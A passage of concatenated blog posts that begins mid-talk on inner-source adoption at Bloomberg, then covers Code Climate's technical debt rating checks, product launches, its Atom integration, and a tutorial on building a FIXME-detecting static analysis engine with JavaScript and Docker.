And last but not the least is “oh, because these are low level APIs and we don’t want them to know what we’re doing and be able to leverage some of the other stuff, we can’t open it up because they can’t see the decisions we’re making because then they’ll directly access our codebase.”

The one valid reason which is probably true across the industry is 10% or 20% of the codebase probably was truly specific to competitive business advantage, maybe some algorithms. Maybe some business logic, etc. Right? That was the key, the glue, the thing that sold your product. 10%, 20% and this is just an off the cuff number.

The minute we said that all repositories are open by default, we started working through these restrictions that were laid out to us and we started just saying, you’ve got to open a repository by default. If you want to close it up, you’ve got to talk to me. Then of course I’ll wear you down with asking you questions and then I’ll take you to your CIO and wear you down with asking questions.

That was our first thing. We were pretty scared and skeptical that because of this rule, we would not get people moving into this concept, but as I go back to how I started my conversation with the early adopters, with the evangelist that we created, with the buzz that got created about having a tool set that actually works, we started getting people moving their codebases over from whichever legacy repository they sat on. And we started getting more and more requests for features such that the tools would enable them to embrace this change.

Agile brought in some rules. So our Agile coaches came with some very specific guidelines. We had to then coach our coaches on some of the 'religion’ that they brought in versus some of the common sense which is just we needed to work with within our enterprise because our enterprise had grown up that way. Just to get them to recognize the differences and work with us was a challenge, but it’s something we worked through.

What we also discovered was thinking outside the box. In a traditional enterprise company, we didn’t have hackathons. We didn’t have coding days. We didn’t have space for ideation. So we started sponsoring a lot of those kind of activities. We have something called a Dev-X hack a thon which runs for a couple of days. We have it two or three times a year. We have it in London and we have it in New York. We do other cool stuff. The swag, the prizes, but the fact is that the ideas that come out of Dev-X hackathon get sponsored to get built up as a project.

So a lot of the tools integrations that we built up, were a result of the hack a thons. The idea started in a hackathon and then got sponsored and we could go ahead and build out that integration, amongst the other various SELC tools.

ENCOURAGING COLLABORATION WITH STRETCH PROJECTS

We found this to be a really, really interesting way of encouraging collaboration across teams. All the newcomers or the new classes that come in, I always encourage them, as part of their training to take on stretch projects. If they are interested in taking on a stretch project, I encourage people to work with their management teams to allow them to do those stretch projects. That seems to have helped us in moving the agenda forward because as people start to see the benefits both for the people that are working in their teams as well as the projects that they are working on, everybody has got a win, win situation.

What we also started to do was say, if I have opened up my repository, I’m going to have some issues being tracked and I can put in help wanted tags on the issues that are low hanging fruit for me and I can get others to contribute to them. I mentioned this function called sauc. You run sauc, you get to see a list of repositories which have help wanted functions. For somebody who doesn’t know specifically where they want to get started, or they may have an idea they can just go look at the help wanted issues, pick them up, and work on those. This was a really easy way for us to say, do it yourself. Self-serve yourself for moving something forward.

What we also did was shared infrastructure projects. Everything with software infrastructure which was related to the tools we opened it up. Some places it’s harder to accept contributions especially when it’s really related to compiler flags which go across the entire stack, so those are harder contributions to accept. But some of the simpler contributions are really straightforward. We also started to understand common pain points that came across because as you can imagine, we’ve opened up a codebase now. So I can look across my entire sauc repository and see everybody’s projects. If I have somebody working on containers, I can see who else is working on containers and create those opportunities to pull them together so that we don’t have everybody doing their own thing. And pull those projects together and actually sponsor it as a project so we can collectively work on that one functionality or feature or piece of infrastructure that we’re developing.

And with that, I’m going to say and encourage all of you to get started. You can look at innersourcecomments.org. I have references at the end and the three things, I called it my three pronged approach initially when I started, which is identify the early adopters, evangelize, and then get the sponsorship. I hope this has been useful for you.

Panna Pavangadkar is the Global Head of Developer Experience for Bloomberg’s Engineering group. Building a great developer experience is at the heart of what her team does, providing a development environment that enables application developers to focus on building the company’s core product: the Bloomberg terminal. Her past experience with databases, operating systems, infrastructure and application development in various engineering roles – as Technical Fellow, Vice President at Goldman Sachs (New York) and JP Morgan (Singapore) and NIIT (Pune, India) – gives her a unique perspective to understand and work to introduce and encourage wide scale change within the company’s developer and engineering communities.

Our new rating system is built on two pillars: maintainability (the opposite of technical debt) and test coverage. For test coverage, the calculations are simple. We take the covered lines of code compared to the total “coverable” lines of code as a percentage, and map it to a letter grade from A to F.

Technical debt, on the other hand, can be a challenge to measure. Static analysis can examine a codebase for potential structural issues, but different tools tend to focus on different (and often overlapping) problems. There has never been a single standard, and so we set out to create one.

Our goals for a standardized technical debt assessment were:

• Cross-language applicability - A good standard should not feel strained when applied to a variety of languages, from Java to Python to JavaScript. Polyglot systems are the new normal and engineers and organizations today tend to work in an increasing number of programming languages. While most languages are based on primitive concepts like sequence, selection, and iteration, different paradigms for organizing code like functional programming and OOP are common. Fortunately, most programming languages break down into similar primitives (e.g. files, functions, conditionals).

• Easy to understand - Ultimately the goal of assessing technical debt with static analysis is to empower engineers to make better decisions. Therefore, the value of an assessment is proportional to the ease with which an engineer can make use of the data. While sophisticated algorithms may provide a seemingly appealing “precision”, we’ve found in our years of helping teams improve their code quality that simple, actionable metrics have a higher impact.

• Customizable - Naturally, different engineers and teams have differing preferences for how they structure and organize their code. A good technical debt assessment should allow them to tune the algorithms to support those preferences, without having to start from scratch. The algorithms remain the same but the thresholds can be adjusted.

• DRY (Don’t Repeat Yourself) - Certain static analysis checks produce highly correlated results. For example, the cyclomatic complexity of a function is heavily influenced by nested conditional logic. We sought to avoid a system of checks where a violation of one check was likely to be regularly accompanied by the violation of another. A single issue is all that’s needed to encourage the developer to take another look.

• Balanced (or opposing) - Tracking metrics that encourage only one behavior can create an undesirable overcorrection (sometimes thought of as “gaming the metric”). If all we looked for was the presence of copy and pasted code, it could encourage engineers to create unwanted complexity in the form of clever tricks to avoid repeating even simple structures. By pairing an opposing metric (like a check for complexity), the challenge increases to creating an elegant solution that meets standard for both DRYness and simplicity.

Ten technical debt checks

With these goals in mind, we ended up with ten technical debt checks to assess the maintainability of a file (or, when aggregated, an entire codebase):

1. Argument count - Methods or functions defined with a high number of arguments

2. Complex boolean logic - Boolean logic that may be hard to understand

3. File length - Excessive lines of code within a single file

4. Identical blocks of code - Duplicate code which is syntactically identical (but may be formatted differently)

5. Method count - Classes defined with a high number of functions or methods

6. Method length - Excessive lines of code within a single function or method

7. Nested control flow - Deeply nested control structures like if or case

8. Return statements - Functions or methods with a high number of return statements

9. Similar blocks of code - Duplicate code which is not identical but shares the same structure (e.g. variable names may differ)

10. Method complexity - Functions or methods that may be hard to understand

Check types

The ten checks break down into four main categories. Let’s take a look at each of them.

Size

Four of the checks simply look for the size or count of a unit within the codebase: method length, file length, argument count and method count. Method length and file length are simple enough. While these are the most basic form of static analysis (not even requiring parsing the code into an abstract syntax tree), most programmers will identify a number of times dealing with the sheer size of a unit of code has presented challenges. Refactoring a method that won’t fit all on one screen is a herculean task.

The argument count check is a bit different in that it tends to pick up data clumps and primitive obsession. Often the solution is to introduce a new abstraction in the system to group together bits of data that tend to be flowing through the system together, imbuing the code with additional semantic meaning.

Control flow

The return statements and nested control flow checks are intended to help catch pieces of code that may be reasonably sized but are hard to follow. A compiler is able to handle these situations with ease, but when a human tasked with maintaining a piece of code is trying to evaluate control flow paths in their head, they are not so lucky.

Complexity

The complex boolean logic check looks for conditionals laced together with many operators, creating an exploding set of permutations that must be considered. The method complexity check is a bit of a hybrid. It applies the cognitive complexity algorithm which combines information about the size, control flow and complexity of a functional unit to attempt to estimate how difficult a unit of code would be to a human engineer to fully understand.

Copy/paste detection

Finally, the similar and identical blocks of code checks look for the especially nefarious case of copy and pasted code. This can be difficult to spot during code review, because the copied code will not show up in the diff, only the pasted portion. Fortunately, this is just the kind of analysis that computers are good at performing. Our copy/paste detection algorithms look for similarities between syntax tree structures and can even catch when a block of code was copied and then a variable was renamed within it.

Rating system

Once we’ve identified all of the violations (or issues) of technical debt within a block of code, we do a little more work to make the results as easy to understand as possible.

File ratings

First, for each issue, we estimate the amount of time it may take an engineer to resolve the problem. We call this remediation time, and while it’s not very precise, it allows us to compare issues to one another and aggregate them together.

Once we have the total remediation time for a source code file, we simply map it onto a letter grade scale. Low remediation time is preferable and receives a higher rating. As the total remediation time of a file increases, it becomes a more daunting task to refactor and the rating declines accordingly.

Repository ratings

Last, we created a system for grading the technical debt of an entire project. In doing so, we’re cognizant of the fact that older, larger codebases naturally will contain a higher amount of technical debt in absolute terms compared to their smaller counterparts. Therefore, we estimate the total implementation time (in person-months) of a codebase, based on total lines of code (LOC) in the project, and compute a technical debt ratio: the total technical debt time divided by the total implementation time. This can be expressed as a percentage, with lower values being better.

We finally map the technical debt ratio onto an A to F rating system, and presto, we can now compare the technical debt of projects against one another, giving us an early warning system when a project starts to go off course.

Get a free technical debt assessment for your own codebase

If you’re interested in trying out our 10-point technical debt assessments on your codebase, give Code Climate a try. It’s always free for open source, and we have a 14-day free trial for use with private projects. In about five minutes, you’ll be able to see just how your codebase stacks up. We support JavaScript, Ruby, PHP, Python and Java.

If you’re already a Code Climate customer, you can expect a rollout of the new maintainability and test coverage ratings over the next few weeks – but if you’d like them sooner, feel free to drop us a line, we’re always happy to help!

Every repository and file will now receive two top-level ratings:

Maintainability: An estimate of technical debt in the repo based on our standardized 10-point assessment which looks at duplication, complexity and structural issues.

Test Coverage: The percentage of covered lines compared to the total number of lines of code. (We ingest test coverage information from your continuous integration server using our new universal test reporter.)

Here’s how it all comes together on your new repository Overview page:

On top of this foundation, we’re launching five major, new features:

Unified Code tab with maintainability and test coverage side-by-side

Gone is the isolated Test Coverage tab, which was an additional place to get a full view of your overall quality. We’ve fully integrated test coverage information into the Code tab, and everywhere else.

Drilling down, you can access per-file quality statistics on the new Stats sub-tab:

In-app configuration of code quality analysis

It’s now possible to control the way we analyze your code quality using simple, in-app configuration. Easily select which checks to run and exclude files that are not relevant.

You can also easily browse and enable open source static analysis plugins, taking advantage of the 30+ tools that are compatible with our open, extensible platform.

For those who prefer finer-grained control, or wish to keep their configuration in version control, file-based configuration using .codeclimate.yml remains available. If checked in, the .codeclimate.yml takes precedence over the in-app configuration.

Reorganized and expanded Trends area

With all this new data available, we thought it was a great time to add some organization to the Trends tab. The left sidebar now makes it easy to get right to what you’re looking for.

We’ve also added a new chart allowing you to see the total amount of technical debt in the project, and the overall project maintainability, all in one place.

Improved quality alerts via Slack and email

Our pass/fail pull request statuses are great for ensuring that every change merged into your codebase meets your quality standards. However, every once in awhile something may slip through the cracks. For these situations, we’ve revamped the quality alerts we send via both Slack and email. Here’s what it looks like in Slack:

And an email reporting some test coverage changes:

Alerts are sent when any letter rating changes, or any new files are created with “C” or lower ratings. We think this new functionality is an excellent complement to our recently-launched customizable issue alerts.

All of the above and more available via a REST API

OK, so this one isn’t completely new, but it’s gotten much better and we couldn’t resist including it. Over the past year we’ve been developing Code Climate with an API-first methodology. As a result, the data that powers all of the above features is available over a robust REST API for you to take advantage of as you see fit. Here’s a few examples:

Get the current ratings for an individual file

$ curl \
  https://api.codeclimate.com/v1/repos/:repo_id/ratings \
  -H "Accept: application/vnd.api+json" \
  -H "Authorization: Token token=<token>" |
  jq '.data | .[] | select(.attributes.path == "path/to/file.rb")'

{
  "id": "59c41d36d0c53d0001000001",
  "type": "ratings",
  "attributes": {
    "path": "path/to/file.rb",
    "letter": "A",
    "measure": {
      "value": 220,
      "unit": "minute"
    },
    "pillar": "Maintainability"
  }
}
{
  "id": "59c41d36d0c53d0001000002",
  "type": "ratings",
  "attributes": {
    "path": "path/to/file.rb",
    "letter": "A",
    "measure": {
      "value": 92.40506329113924,
      "unit": "percent"
    },
    "pillar": "Test Coverage"
  }
}

Get a time-series of test coverage information

$ curl \
  https://api.codeclimate.com/v1/repos/:repo_id/metrics/test_coverage \
  -X GET \
  -H "Authorization: Token token=<token> \
  -H "Accept: application/vnd.api+json" \
  --data-urlencode "filter[from]=2017-08-01" \
  --data-urlencode "filter[to]=2017-09-01" |
  jq

{
  "data": {
    "id": "59c41d36d0c53d0001000001",
    "type": "metrics",
    "attributes": {
      "name": "test_coverage",
      "points": [
        {
          "timestamp": 1501459200,
          "value": 98.57142857142858
        },
        {
          "timestamp": 1502064000,
          "value": 98.50960160504442
        },
        {
          "timestamp": 1502668800,
          "value": 98.53490376328641
        },
        {
          "timestamp": 1503273600,
          "value": 98.53314527503527
        },
        {
          "timestamp": 1503878400,
          "value": 98.5405557114791
        }
      ]
    }
  }
}

Just head over to your API access page of your user settings area to generate a personal access token and get started.

These features will be rolled out to all repositories on CodeClimate.com starting today.

Wrapping Up

We hope you’ll agree that these changes represent a dramatic leap forward for Code Climate. As we’ve been testing this functionality internally and with a small group of customers, we’ve found it really changes the way we interact with code quality information day-to-day.

There may be a few rough edges as we refine and polish some areas. As always, if you have any questions about anything, please don’t hesitate to get in touch. Our fantastic support team is always here to help.

Search for a single definition of software quality and you’ll see that it is open to considerable, and sometimes heated, debate. Aside from matters of taste, this is because code quality can’t be defined by a single attribute, but rather through a combination of traits. So how do you identify them?

Over the years, as we’ve talked with customers about what they’re trying to achieve with a code quality solution, the same eight traits keep coming up:

☐ Clear

Can the code be read, understood, and maintained over time, by someone who isn’t the code’s original author. Martin Fowler, an authority on code quality, stated this well: “Any fool can write code that a computer can understand. Good programmers write code that humans can understand.”1

☐ Simple

Elegant code that does exactly what is needed and nothing more, sometimes described as “the simplest thing that could possibly work”.

☐ Well-tested

Code is written to achieve a purpose, and testing – either with unit tests or integration tests or both – is the best way to determine if it achieves that purpose and works with the rest of a codebase. Of course, just having lots of tests doesn’t mean code is “well-tested”. The tests themselves must be concise, readable, and comprehensive.

☐ Bug-free

A raincoat that doesn’t keep out water isn’t high quality. For the same reason, the presence of bugs preventing desired behavior is a common marker of low-quality code.

☐ Refactored

Refactored code is code that is not just written once and committed, but iterated on to match best practices and the team’s conventions.

☐ Documented

As with clarity, documentation – inside the code or external – is highly regarded because it supports long-term maintainability.

☐ Extensible

In a business environment, codebases are constantly evolving to meet new requirements. Code that is extensible is prized for its ability to enable developers to rapidly add new features without having to spend a lot of time on maintenance.

☐ Performant

For businesses delivering a service where speed is paramount – say, e-commerce platforms – code is unlikely to be considered high quality unless it’s performant.

Any combination of these can make for great quality code depending on what’s important to your business. The difficulty is deciding what that is as a team.

Perhaps initial time to market is your core business priority – if so, you may not be as concerned about test coverage, and that’s okay.

The important thing is to make sure that everyone contributing to your codebase is on the same page, and the goals for your business and your code are aligned. If not, you risk moving in different directions and not achieving either.

Next time we’ll take a look at how to choose the right complexity metric for your team.

This is a major milestone for us, and we’re excited about what it means for the over 80,000 developers who use Code Climate to build and ship better software. We have a big vision for the future:

Empowering every software developer to improve the quality of their code and the outcomes of their projects with the most advanced, open and extensible platform for source code analytics.

Since our seed funding round in summer of 2014, we’ve introduced an open and extensible static analysis platform, shipped a major new edition of our on-premises product, and launched a powerful browser extension that brings code quality and test coverage information directly into the GitHub user interface.

We’ve grown to provide analysis for more than 90,000 repositories across 20+ programming languages and frameworks, and analyze two billion lines of code each day – making us the largest provider of cloud-based static analysis.

Here’s what our new investors had to say:

There is a common mantra that you can have any two in software: fast time to market, low cost of development, or high quality, but never all three. This, of course, is also what people used to believe about manufacturing before the rise of techniques such as lean manufacturing and continuous improvement. When you lead with quality in manufacturing you can, in fact, have quality, speed, and low cost. The same will be true for code, which makes assessing and managing the quality of code a key challenge for the coming years.

- Albert Wenger, Union Square Ventures

We completely agree, and we’re thrilled to have the resources to accelerate our work on this problem for years to come. To that end, we’d like to share a little about the next big thing in the works…

Coming soon: A new, open source edition of Code Climate

We’re working on an open source, standalone edition of the Code Climate application, which you’ll be able to download and run anywhere – including behind your firewall – completely free. We’re calling it Code Climate Community Edition (CE) for now and expect to ship an alpha version within a month.

It should come as no surprise that we’re huge fans of open source. We’ve long provided free service to open source projects, and last year we open sourced our static analysis engines and a command line interface (CLI) when we launched our open, extensible platform. We see providing a workflow-integrated code analytics experience as an open source package as the next big step in making Code Climate a ubiquitous part of every software developer’s toolbox, and hope you’re as excited about it as we are.

Great companies like GitLab and Travis CI have built thriving business around open source (or “open core”) offerings, and we thank them for their inspiration and innovation in these areas.

Since it will be possible to run the community edition of Code Climate for free, you may wonder what our plans are for revenue. In short, they don’t change much. We’ll continue to provide our cloud-based product at CodeClimate.com (still free for open source projects!) where we host and manage everything for you and keep things running smoothly. We’ll also continue to offer an “enterprise” edition of Code Climate for on-premises installs, with exclusive features and services focused on larger teams. We’ll have more to share when we release the Community Edition alpha.

We believe that every developer and every project can benefit from Code Climate from day one, and are happy to make that even easier for more organizations, regardless of their requirements for where they store their source code.

P.S. We’re hiring! If the vision we’re pursuing sounds appealing to you, we’d love to chat with you about joining our growing team in New York.

Our engines-based analysis now offers the key features you’ve come to expect from our “classic” offering, and a lot more, including:

• Style checks for Ruby, PHP and Python
• Support for more programming languages like Go, Haskell, JSX, CoffeeScript and SCSS; and frameworks like Ember.js, React and RubyMotion
• Dependency audits for potential vulnerabilities in your RubyGems and NPM packages
• Atom editor integration and a CLI to get feedback before you push
• Improved configurability and tuning options support in .codeclimate.yml (and per-engine config files)
• Ability to create your own analysis engines using our open source spec and make them available through CodeClimate.com

Already, Code Climate serves tens of thousands of developers. We’re proud to be working with a community of over 100 contributors and members of our Developer Program to provide over 1,800 checks across 20 static analysis engines on our new platform.

Code Climate allows us to incrementally improve and maintain good code hygiene, decreasing the number of defects in our products, and leading to better overall product quality. The Code Climate open platform is a game changer and allows us to build and improve static analysis engines to support our highly complex environment.

Andy Blyler, Senior Director of Engineering, Barracuda Networks

For those who gave our engines-based analysis a try soon after launch, in addition to bug fixes you’ll notice a number of key improvements, including:

• Visibility into the analysis process via our new Builds pages
• More accurate ratings and GPAs
• Improved Issues browsing and filtering
• Better performance for faster results
• Improved stability from infrastructure upgrades we’ve made behind the scenes

Want to see it for yourself? Take a look!

Start using the Code Climate Platform today

Sign up today to get started with Code Climate for your projects. You’ll get 20% off your first year when you start a new subscription by February 29, using the promo code CCGA2016 at checkout.

For existing customers, just follow these instructions for moving your repositories over to our new engines-based analysis. We’re confident that you’ll find it’s a superior experience to our “classic” offering.

Finally, we recognize that Code Climate is most valuable when you can use it wherever your work. For customers whose ability to host code with third-party services is limited, we recommend Code Climate Enterprise, our on-premise service.

With the new foundation that the Code Climate Platform provides, we’re looking forward to the new opportunities we’ll have to bring you even more functionality. Stay tuned for more big announcements in 2016 (you can follow us on Twitter here).

This integration takes advantage of Code Climate’s unique platform, allowing you to seamlessly aggregate the results from all of your favorite static analysis tools into one clear, unified report. Our CLI makes it easy to get those results right on your laptop, before code is merged − and now the same is true inside your text editor:

Integration with Atom is powered by the Atom Linter project, a fantastic, open toolset for integrating static analysis into Atom. We collaborated with the Linter team to provide you with the best possible Atom experience, and we think you’re going to love being able to use Code Climate in your editor.

To get started, you’ll need to have the Code Climate CLI installed. If you’re using a Mac with brew, installing is as simple as:

brew tap codeclimate/formulae
brew install codeclimate

Once brew is done, you’ll want to make sure that the engines you need to analyze your code are installed locally. If the repo you want to analyze already includes a .codeclimate.yml file, you can run:

cd MYPROJECT
codeclimate engines:install

When you’ve got the CLI up and running, you’re ready to see analysis results within the comfort of Atom. Install the linter and linter-codeclimate packages using the UI or like so:

apm install linter
apm install linter-codeclimate

After the packages are installed, reload your editor. Now, when you save a file it will kick off Code Climate analysis - woot! You’ll see your results inline, as in the screenshot above.

Currently our Atom package supports analysis engines for JavaScript, Ruby, Python, CoffeeScript and PHP (plus the perennial favorite FIXME, for all of your bug-finding needs). We’ll ship an update soon which will include support for the balance of our engines.

We hope you’re as excited as we are to have so much powerful analysis available right inside Atom. Being able to get feedback to developers where they work has always been at the core of our mission, and editor integration is a big step for us in that regard. If you’re interested in building support for your favorite editor shoot an email to mrb@codeclimate.com and we’ll help get you started! Building tools that suit your workflow is what Code Climate is all about.

We’ll create an engine that greps through your source code and looks for instances of problematic words like FIXME, TODO, and BUG. This engine conforms to the Code Climate engine specification, and all of the code for this engine is available on GitHub. When we get up and running, you’ll see results like this on your command line:

Engines that you create can be tested with the Code Climate command line tool. Once you’ve got an Open Source engine that works, we’d love to chat with you about making it available on our cloud platform, so that your whole community can have access to it!

For more information join our Developer Program.

What’s an engine made of?

Instead of asking you to dive into the Code Climate engine specification, to learn what an engine is, I’ll give you a brief overview here.

A Code Climate engine is a containerized program which analyzes source code and prints issues in JSON to STDOUT.

Sound simple? We really think it is! Hopefully this blog post will illustrate what we mean.

More concretely, the FIXME engine we’re going to create contains three important files:

• A Dockerfile which specifies the Docker image
• A bin/fixme executable wrapper script that runs the engine
• The index.js file, which contains the engine source code

There are other requirements in the specification regarding resource allocation, timing, and the shape of the output data (which we’ll see more of below), but that’s really all there is to it.

A little bit of setup

Before we write any code, you need a few things running locally to test your engine, so you might as well get that out of the way now. You’ll need the following things running locally:

• A Docker environment (we recommend Docker For Mac for OSX development.
• The Code Climate CLI tool (you can brew tap codeclimate/formulae && brew install codeclimate on OSX)

Run codeclimate -v when you’re done. If it print a version number, you should be ready to go!

FIXME

The idea for FIXME came to us when we were brainstorming new engine ideas which were both high value and easy to implement. We wanted to release a sort of Hello, world engine, but didn’t want it to be one that did something totally pointless. Thus, FIXME was born.

The FIXME engine looks for (case-insensitive, whole word) instances of the following strings in your project’s files:

• TODO
• FIXME
• HACK
• BUG
• XXX

This is not a novel idea. It’s well known that instances of these phrases in your code are lurking problems, waiting to manifest themselves when you least expect it. We also felt it worth implementing because running a FIXME engine in your workflow has the following benefits:

• Existing FIXMEs hacks will be more visible to you and your team
• New FIXMEs will bubble up and can even fail your pull requests if you configure them properly on codeclimate.com

Pretty nifty for around 75 lines of code.

To achieve this, the engine performs a case insensitive grep command on all of the files you specify, and emits Code Climate issues wherever it finds one.

Implementing an engine in JavaScript

The meat of the actual engine is in the index.js file, which contains around 50 lines of JavaScript. The entirety of the file can be found here. I’ll highlight a few important sections of the code for the engine below, but if you have any questions, please open an issue on the GitHub repo and I’ll try my best to answer promptly!

On to the code. After requiring our dependencies and typing out the module boilerplate, we put the phrases we want to find in grep pattern format:

var fixmeStrings = "'(FIXME|TODO|HACK|XXX|BUG)'";

This will be used in a case insensitive search against all of the files the engine we’ll analyze.

Next, we create a function that we will use to print issues to STDOUT according to the issue data type specification in the engine spec. The printIssue function accepts a file name, a line number, and the issue string,

var printIssue = function(fileName, lineNum, matchedString){
  var issue = {
    "type": "issue",
    "check_name": "FIXME found",
    "description": matchedString + " found",
    "categories": ["Bug Risk"],
    "location":{
      "path": fileName,
      "lines": {
        "begin": lineNum,
        "end": lineNum
      }
    }
  };

  // Issues must be followed by a null byte
  var issueString = JSON.stringify(matchedString)+"\0";
  console.log(issueString);
}

This data format contains information about the location, category, and description of each issue your engine emits. It’s at the heart of our engine specification and massaging data from an existing tool to conform to this format is typically straightforward.

The data in the JSON your engine prints will be consumed by the CLI and if you join our Developer Program and work with us, it can also be made available to all users of codeclimate.com. We’ll work with you to ensure your engine is spec compliant and meets our security and performance standards, and get your work in front of a lot of people!

The actual code that greps each file isn’t super interesting, but you should check it out on GitHub and open an issue on the repo if you have a question.

Because it’s a requirement of engines to respect the file exclusion rules passed to it by the CLI or our cloud services, though, I’ll show a bit of how that works:

// Uses glob to traverse code directory and find files to analyze,
// excluding files passed in with by CLI config
var fileWalk = function(excludePaths){
  var analysisFiles = [];
  var allFiles = glob.sync("/code/**/**", {});

  allFiles.forEach(function(file, i, a){
    if(excludePaths.indexOf(file.split("/code/")[1]) < 0) {
      if(!fs.lstatSync(file).isDirectory()){
        analysisFiles.push(file);
      }
    }
  });

  return analysisFiles;
}

Here I am using the NPM glob module to iterate over all of the files starting at /code recursively. This location also comes from the engine specification. The fileWalk function takes an array of excludePaths, which it extracts from /config.json (this will be made available to your engine after the CLI parses a project’s .codeclimate.yml file). This all happens in the main function of the engine, runEngine:

FixMe.prototype.runEngine = function(){
  // Check for existence of config.json, parse exclude paths if it exists
  if (fs.existsSync("/config.json")) {
    var engineConfig = JSON.parse(fs.readFileSync("/config.json"));
    var excludePaths = engineConfig.exclude_paths;
  } else {
    var excludePaths = [];
  }

  // Walk /code/ path and find files to analyze
  var analysisFiles = fileWalk(excludePaths);

  // Execute main loop and find fixmes in valid files
  analysisFiles.forEach(function(f, i, a){
    findFixmes(f);
  });
}

This main function gives hopefully gives you a clear picture of what this engine does:

• It parses a JSON file and extracts an array of files to exclude from analysis
• It passes this list of files to a function that walks all files available to the engine, and produces a list of files to be analyzed
• It passes the list of analyzable files to the findFixmes function, which greps individual files and prints them to STDOUT

Packaging it up

How engines are packaged as Docker containers is important: it has it’s own section of the engine specification. The Dockerfile for FIXME is pretty typical:

FROM node

MAINTAINER Michael R. Bernstein

RUN useradd -u 9000 -r -s /bin/false app

RUN npm install glob

WORKDIR /code
COPY . /usr/src/app

USER app
VOLUME /code

CMD ["/usr/src/app/bin/fixme"]

Here’s a breakdown of each line (for more information about each directive, see the official Docker documentation):

1. The official node Docker container is the basis for this engine container. It has node and npm installed, and generally makes our lives easier.

2. Declare a maintainer for the container.

3. Create the app user to run the command as specified.

4. Install packages with npm install glob so that the external dependency is available when the engine runes.

5. Set the WORKDIR to /code, where the source to be analyzed will be mounted.

6. Copy the engine code to /usr/src/app.

7. Use the app user that we created earlier.

8. Mount /code as a VOLUME per the spec

9. Our engine specification says that the engine should launch and run immediately, so we use CMD to achieve this. In the case of FIXME, the executable wrapper script instantiates the engine we wrote in JavaScript above, and runs it. Check it out:

#!/usr/bin/env node

var FixMe = require('../index');
var fixMe = new FixMe();

fixMe.runEngine();

We now have all of the pieces in places. Let’s test it out.

Testing your engine locally

If you want to test the code for this engine locally, you can clone the codeclimate-fixme repository locally, and follow these steps:

• Build the docker image with docker build -t codeclimate/codeclimate-fixme . (You must be inside the project directory to do this)
• Make sure the engine is enabled in the .codeclimate.yml file of the project you want to analyze:

  engines:
    fixme:
      enabled: true

• Test the engine against the engine code itself (whoooah) with codeclimate analyze --dev

And you should see some results from test/test.js! Pretty cool, right?

Note that if you want to test modifications you are making to this engine, you should build the image with a different image name, e.g. codeclimate/codeclimate-fixme-YOURNAME. You would then add fixme-YOURNAME to your .codeclimate.yml file as well.

If you get stuck during development, invoke codeclimate console and run:

Analyze.new(['-e', 'my-engine', '--dev']).run

And you should be able to see what’s going on under the hood.

What will you build?

Hopefully seeing how straightforward an engine can be will give you lots of great ideas for engines you can implement on your own. If tools for your language don’t exist, contact us, and maybe we can help you out!

Simple ideas like FIXME have a lot of power when your entire team has access to them. Wire up the codeclimate CLI tool in your build process, push your repositories to Code Climate, and keep pursuing healthy code. We can’t wait to see what you’ll build.

Update: See our CEO and Co-Founder Bryan Helmkamp introducing the Code Climate Platform!

Today, we’re thrilled to launch the Code Climate Platform − the first open, extensible platform for all types of static analysis.

We’ve come a long way since we started building a static analysis tool for Rubyists. Today, we’re fortunate enough to help 50,000 developers analyze about 700BN lines of code every weekday. As we’ve grown, we’ve seen that clear, actionable static analysis leads to healthier code and happier developers. Our new platform brings those benefits to every team, regardless of the technologies they use, so that they can focus on shipping quality software.

What does this mean exactly? First, we’re open sourcing our analysis tools, including the engines and algorithms we use to evaluate code. If you have a running Docker host, using Code Climate on your command line is as easy as:

boot2docker up && `boot2docker shellinit`
brew tap codeclimate/formulae
brew install codeclimate

We’re also enabling anyone to write static analysis engines that run on our servers by following a simple specification. No longer will you have to wait for us to provide support for your programming languages, frameworks and libraries of choice. Finally, using our new Code Climate CLI, you can now run any Code Climate-compatible static analysis on your laptop – for free.

Let’s look at each of these in turn…

Open Source

We’re releasing the static analysis engines that power the new Code Climate Platform, and going forward, all of our static analysis code will be published under Open Source licenses. Code Climate has always provided free analysis to Open Source projects, and this continues to deepen our commitment to, and participation in, the OSS community.

Code Climate has always stood on the shoulders of giants in depending on Open Source libraries for the bulk of our static analysis algorithms. We would not exist today if not for the great work of people like Ryan Davis (Flog, Flay) and Justin Collins (Brakeman) that demonstrated the value of static analysis and allowed us to quickly bring it to developers.

Open Source static analysis means you can dig in and understand exactly how your code is being evaluated. And customizing static analysis algorithms becomes as simple as clicking the “Fork” button on GitHub…

Extensible

With the release of our new Code Climate Engine Specification, anyone can write static analysis engines that run on our servers. Code Climate’s set of officially supported languages can be augmented with community supported static analysis engines so that you can get confidence in your code, regardless of your choice of technology. For years, our most common type of feature request has been, “Can you add support for X?”, where X is a programming language, version of a language, or sometimes a framework. We’ve always wanted Code Climate to work for all developers, but in the past we were limited by the effort required to add new languages.

We believe that you shouldn’t have to wait for a vendor to add support for the languages you love, so are finally removing ourselves as the bottleneck to new static analysis features. Anyone who is interested in using Code Climate with their favorite languages, frameworks and libraries is free to build an engine to do so. Results from engines retain all the benefits of the Code Climate product, including automatic analysis of every Pull Request, comparison views, ratings/GPAs, and notifications. Of course, there’s already a vibrant community of OSS static analysis tools, and we’re excited to see what people are able to build and integrate. It’s really astounding how simple it is to build a Code Climate engine, as we’ve watched developers build functioning analysis from scratch in a matter of a couple hours.

If you want to give it a try, join our new Developer Program and we’ll be there to guide you along the way.

Run Anywhere

In addition to the spec, we’re also releasing the Code Climate CLI, which makes it easy to get static analysis results (both from Code Climate’s official engines and community-supported engines) in one clear, unified report right on your laptop. When you’re ready, you can load your repository into codeclimate.com and we’ll automatically apply the exact same configuration you use locally to analyze every commit and Pull Request, making the results available to your entire team.

To make static analysis truly ubiquitous, we realized it was not enough to support a wide variety of tools, we need to make it trivial to run these tools anywhere the developer is working. You shouldn’t have to wait to push your source code to a remote server to get clear, actionable static analysis results. Now it’s possible to easily run the same static analysis we run on our servers on your command line.

New Static Analysis Engines

We’re fortunate to be partnering with creators of two prominent Open Source projects who understand the value of static analysis in ensuring healthy code, Tom Dale from Ember.js and Laurent Sansonetti from RubyMotion. Here’s what they have to say about the Code Climate Platform:

“The Ember community takes good tooling seriously. I’m excited to partner with Code Climate and bring their service to our users because better static analysis means better Ember apps.”

– Tom Dale from Ember.js

“HipByte is excited to partner with CodeClimate to provide clear and reliable code reviews for RubyMotion projects. RubyMotion allows Ruby developers to write cross-platform apps for iOS and Android by leveraging the native platform APIs, and a tool for static analysis means fewer crashes and more reliable applications.”

– Laurent Sansonetti from RubyMotion

Accordingly, we’re releasing an Ember.js engine that brings the Ember Watson tool to all Code Climate users, and a set of custom checks for RubyMotion that will help ensure that your application code is reliable.

